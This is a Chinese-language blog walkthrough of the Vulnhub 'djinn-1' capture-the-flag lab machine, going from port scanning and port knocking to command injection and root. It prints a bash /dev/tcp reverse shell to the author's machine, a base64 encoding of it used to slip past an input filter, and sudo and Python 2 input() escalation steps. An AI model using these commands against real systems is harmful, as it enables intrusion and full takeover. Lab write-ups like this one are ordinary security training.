个人博客地址
darkerbox.
欢迎大家学习交流
靶机网址:
Vulnhub./entry/djinn-1,397/
靶机知识点:
arp-scannmapftpncdirsearch命令执行python2 input漏洞主机发现
靶机是ova格式的,可以用Vmware导入,也可以用virtualbox打开。
使用命令:扫描存活ip。
arp-scan 192.168.34.0/24
根据虚拟机的mac地址可以找到对应的ip。
这里我靶机的ip是192.168.34.152
信息收集与利用
端口发现
妥妥的第一步先看看开了啥端口。我使用的命令是
nmap -sV -p 0-65535 192.168.34.152
开了四个端口:21 22 1337 7331。
看见21端口就想到了不用密码也能登陆的匿名用户,试试
game.txt
game.txt写着1337端口有一个游戏
message.txt
creds.txt
访问1337端口的游戏
这是什么玩意,运行1000次才能给我一个gift,自己写个脚本跑游戏,得到信息。
这个gift…有点特别。第一眼就知道是敲门(端口敲门服务,knockd)
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
kali安装knockd : apt-get install knockd
开始敲门:
knock 192.168.34.152 1356 6784 3409
这里提一下。上面nmap扫出来的端口,ssh的状态应该是filter,只要连接就拒绝。为什么是open?因为我之前已经敲过门了。这个敲门就是把ssh敲开了。变成open状态
但是没有账号和密码,这里也就不了而了了。
目录发现
看见7331端口。是个python2.7搭的web服务。访问这个7331端口
看见这个页面就想爆破目录。
看见目录有wish和genie
访问genie,无果
访问wish
看这意思好像是命令执行,输入id提交,跳转到genie页面,查看页面源码
成功执行了命令。
我们想反弹一个shell
bash -i >& /dev/tcp/192.168.34.80/6666 0>&1
。192.168.34.80是我kali的ip。
页面提示Wrong choice of words。
过滤了一些字符,就知道也没有那么简单。经测试,过滤了如下字符
绕过就ok。使用base64绕过然后再解出来传给bash。
base64加密网站base64encode./ 。这个网站不会先进行url编码
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM0LjgwLzY2NjYgMD4mMQ== | base64 -d | bash
成功给kali反弹了shell。
权限提升
ls发现当前目录下有个app.py
cat app.py
看见creds.txt。得到nitish的账号和密码
python -c "import pty;pty.spawn('/bin/bash')"
反弹一个tty。然后su nitish。
成功登陆。
sudo -l
发现可以以sam用户执行genie命令。
man genie
查看命令genie的帮助手册,当genie -h是看不见-c选项的。
sudo -u sam genie -cmd abcd
这里的abcd随便输入,不能输入bash,被过滤了,也有可能过滤了其他字符
成功得到了sam用户的权限。
继续sudo -l
sam用户可以以root身份执行/root/lago命令
运行看看
尝试了一下,无果。
又是信息收集的时候,在sam的家目录下找到了.pyc文件
将文件下载到kali。
靶机运行:python3 -m http.server 6666
kali运行:wget 192.168.34.152/.pyc
然后pyc反编译一下。记得把后缀改成pyc。我用的菜鸟 tool.lu/pyc/
审计了一下,知道使用python2写的。
看见input函数这里参考我的另一篇博客
darkerbox./index.php/archives/201/
再次运行程序,传入num,使num和num相等。反弹root的shell。
这里要感谢一位大哥大了。
blog.csdn.net/weixin_44214107
欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群
更多推荐
Vulnhub
发布评论